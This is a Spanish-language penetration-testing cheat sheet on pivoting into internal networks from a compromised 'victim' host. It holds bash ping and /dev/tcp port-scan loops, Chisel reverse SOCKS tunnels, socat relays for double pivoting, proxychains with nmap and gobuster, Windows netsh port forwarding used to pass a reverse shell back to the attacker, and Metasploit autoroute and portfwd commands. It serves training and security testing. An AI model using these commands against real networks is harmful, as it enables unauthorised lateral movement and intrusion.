Pivoting

Reconocimiento

Cuando queremos realizar pivoting es por qué tenemos acceso a una máquina victima la cuál nos hemos encontrado otra red interna dentro, primero tendremos que saber a que nos estamos enfrentando, así que empecemos.

Linux

Descubrir hosts en redes internas

#!/bin/bash
for i in $(seq 1 254); do
        timeout 1 bash -c "ping -c 1 10.10.0.$i" &>/dev/null && echo "El siguiente host 10.10.0.$i esta activo" &
done; wait

Una vez hayamos encontrado los hosts internos podemos hacer 2 cosas:

  1. Subir un binario portable de nmap

  2. Crear un script de bash para encontrar puertos abiertos de la nueva IP.

Descubrir puertos

#!/bin/bash
for port in $(seq 1 65535); do
        timeout 1 bash -c "echo '' > /dev/tcp/<IP>/$port" &>/dev/null && echo "[*] El puerto $port esta abierto" &
done; wait

Windows

ipconfig # ips
arp -a # para ver las interfaces de la red en la cual podemos encontrar nuevos hosts

Descubrir hosts

herramienta IPv4 Network Scanner que es para escanear el rango de red que tu digas
.\IPv4NetworkScanner.ps1 -StartIPv4Address 172.17.0.0 -EndIPv4Address 172.17.0.254

Descubrir puertos

herramienta para descubrir que puertos tiene abierto el host que le pongas, no va muy rápido el escaneo.
.\IPv4PortScanner .ps1 -ComputerName <name> -StartPort 1 -EndPort 500 | ft

Chisel

Ahora para aplicar reconocimiento de que hay instalado en cada puerto vamos a usar chisel con una conexión de tipo socks5.

Herramienta github

Nos descargamos el linux_amd64 y en caso de que sea para windows, pues windows_amd64.

Y lo pasamos a la máquina victima para hacer de cliente y nosotros otro que haremos de servidor.

Servidor

./chisel server --reverse -p 1234

Cliente

Hay varias maneras de hacerlo, una traer solamente un puerto que sería así:

./chisel client 192.168.146.128:1234 R:80:10.10.0.128:80

O traernos mediante socks5 traernos todos los puertos.

./chisel client 192.168.146.128:1234 R:socks

Se nos habrá abierto la conexión en el puerto local de nuestra máquina por el 1080

Para que esto surja efecto, tenemos que ir al archivo /etc/proxychains.conf y modificarlo poniendo el siguiente el comando al final del archivo --> socks5 127.0.0.1 1080

Ahora el túnel surge efecto ya que ahora mediante proxychains podremos realizar el reconocimiento y scripts que le podemos mandar con nmap desde nuestra máquina local.

Si intentásemos ejecutar el siguiente comando no nos daría ningún resultado

nmap -p80 --open --min-rate 4000 -v 10.10.0.128

Añadiéndole el comando proxychains estaría surgiendo efecto el túnel que hemos hecho con chisel y socks5 y nos dará un resultado

proxychains nmap -p80 --open --min-rate 4000 -v 10.10.0.128 -sT -Pn

Comando final -->

proxychains nmap -sCV -p<seríe de puerto> -v 10.10.0.128 -sT -Pn | grep -v "timeout"

Todo perfecto ya que podemos acceder, pero solamente desde consola, si queremos acceder por ejemplo al puerto 80 mediante el navegador, no podemos acceder, para poder tener acceso hacer lo siguiente -->

  1. Abrir el FoxyProxy --> Add

  1. Ponemos nombre, y cambiamos estos valores

    1. ProxyType --> SOCKS5

    2. Proxy IP --> 127.0.0.1

    3. Port --> 1080

Accedemos al puerto 80

Doble Pivoting

A veces por ejemplo si ya hemos hecho 1 túnel que le hemos asignado el puerto 1234 en chisel como servidor, y en la máquina que hemos encontrado de la siguiente red hemos encontrado otro segmento de red la cuál queremos saltar y tener acceso, podemos utilizar ya el túnel que tenemos creado en el puerto 1234. Aquí explico cómo se debe realizar.

El esquema de cómo sería el laboratorio visualmente -->

Máquina local

Tendríamos un comando ejecutado tal que así:

./chisel_linux server --reverse -p 1234

Entonces, utilizaremos este túnel para que con otro puerto que no sea el 1080 nos sirva para poder acceder a ese segmento que actualmente no podemos acceder desde nuestra máquina local.

./chisel_linux client 192.168.146.128:1234 R:socks

Y en la máquina comprometida uno tendriamos el chisel client que nos completaría el túnel, una vez explicado todo vamos a ver que comandos hay que ejecutar en las máquinas 1 y 2.

Máquina comprometida 1

En la máquina comprometida 1 (segmento 10.10.0.0) tenemos el túnel tenía otro segmento de red que hemos podido acceder gracias al 1er túnel, entonces comprometiendo la siguiente red, hemos encontrado otro segmento nuevo que es la 172.17.0.0.

Ahora queremos utilizar el primer túnel para establecer otra conexión para poder trabarla desde nuestra máquina.

Primero tenemos que decirle con socat que todo lo que reciba desde la máquina comprometida 1 por el puerto 4447 lo mande a mi máquina local por el túnel ya creado.

socat TCP-LISTEN:4447,fork TCP:192.168.146.128:1234

Máquina comprometida 2

En está máquina que es la que tiene el nuevo segmento de red 172.17.0.0 que es el que queremos tener acceso, tenemos que pasarle un chisel y ejecutar el siguiente comando:

./chisel_linux client 10.10.0.130:4447 R:8888:socks

Este chisel está diciendo que como cliente envié esta petición socks a la máquina comprometida 1 (10.10.0.130) por el puerto 4447 que es él puerto por el que está escuchando el socat y haga un Dynamic Port Forwading de tipo socks (todos los puertos) por el puerto 8888.

Una vez ejecutado el chisel, en el Chisel Server que teníamos anteriormente debería haber aparecido una nueva conexión -->

Ahora debemos poner en el proxychains.conf la nueva línea como anteriormente hemos hecho con la 1234.

*IMPORTANTE*

Si hemos hecho doble pivoting es decir que hemos llegar a una 3era red y cuando hemos realizado el túnel no funciona el escaneo, prueba de cambiar en el proxychains el dynamic_chain por strict_chain o al revés.

Socat

Para que el tráfico que envié a la máquina actual lo mande a la 192.168.146.128.

socat TCP-LISTEN:4443,fork TCP:192.168.146.128:4443

Fuzzing con proxychains

proxychainsgobuster dir -u http://172.17.0.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -f --proxy socks5://127.0.0.1:puerto_chisel (1234 o 8888 etc)

Netsh

Sirve para hacer Port Forwading en para Windows. (Para poder utilizar netsh tenemos que haber conseguido ser Administradores del Sistema, ya que es una función que solo está disponible para los administradores.)

netsh interfaces portproxy add v4tov4 listenport=<puerto> listenaddress=0.0.0.0 connectport=<puerto> connectaddress=<ip>

Comando
Descripción

listenport

El puerto que escucha la máquina Windows

listenaddress

La IP que estará esperando la petición por el "listenport"

connectport

El puerto por el que estará esperando la petición la IP la cual queremos llegar

connectaddress

La IP por la cúal queremos llegar

netsh interface portproxy show all # para mostrar que hay de proxy
netsh interface portproxy reset

Netsh guarda la configuración de Port Forwading en el registro --> HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

Referencia

sikumy como siempre un crack

Reverse Shell

Si hemos comprometido la máquina la cuál hemos llegado gracias al netsh y queremos tener una shell debemos utilizar los siguientes comandos para obtenerla

netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545

Eso quiere decir que el connectaddress tenemos que poner nuestra máquina local para recibir la shell, el netsh está como intermediario para enviar la shell al listener que estará escuchando también por el puerto 4545.

Pivoting con Metasploit

Hay que conocer todas las maneras de hacer pivoting y metasploit es una de ellas, así que no os limitéis a hacerlo solo con chisel.

Autoroute

Añadir una nueva red interna descubierta en la máquina comprometida

run autoroute -s <Nueva red interna/24> # añadir nueva red
run autoroute -p # ver la routing table

Ping

use post/multi/gather/ping_sweep # para buscar hosts nuevos en la red

Nmap

Después para poder hacerle nmap necesitamos hacer los siguientes pasos

1. background # dejar en segundo plano la meterpeter
2. use auxiliary/server/socks_proxy 
3. show options 
4. set srvhost <nuestra IP>
5. run
6. netstat -antp | grep 1080 # comprobar que se haya efectuado
7. Añadir en proxychains [socks5 <ip> 1080]

Portforwading

portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 # ejemplo

Doble pivoting con Metasploit

run autoroute -s <Nueva red interna/24> # añadimos la nueva red en la routing table
run autoroute -p # ver la routing table

Y entonces hacemos como antes pero haciendo un segundo túnel por otro puerto

1. use auxiliary/server/socks_proxy  # añadir la nueva red interna descubierta desde la anterior
2. set srvport 1081
3. run
4. Añadir en el proxychains [socks5 <ip> 1081]

Recursos adicionales

Last updated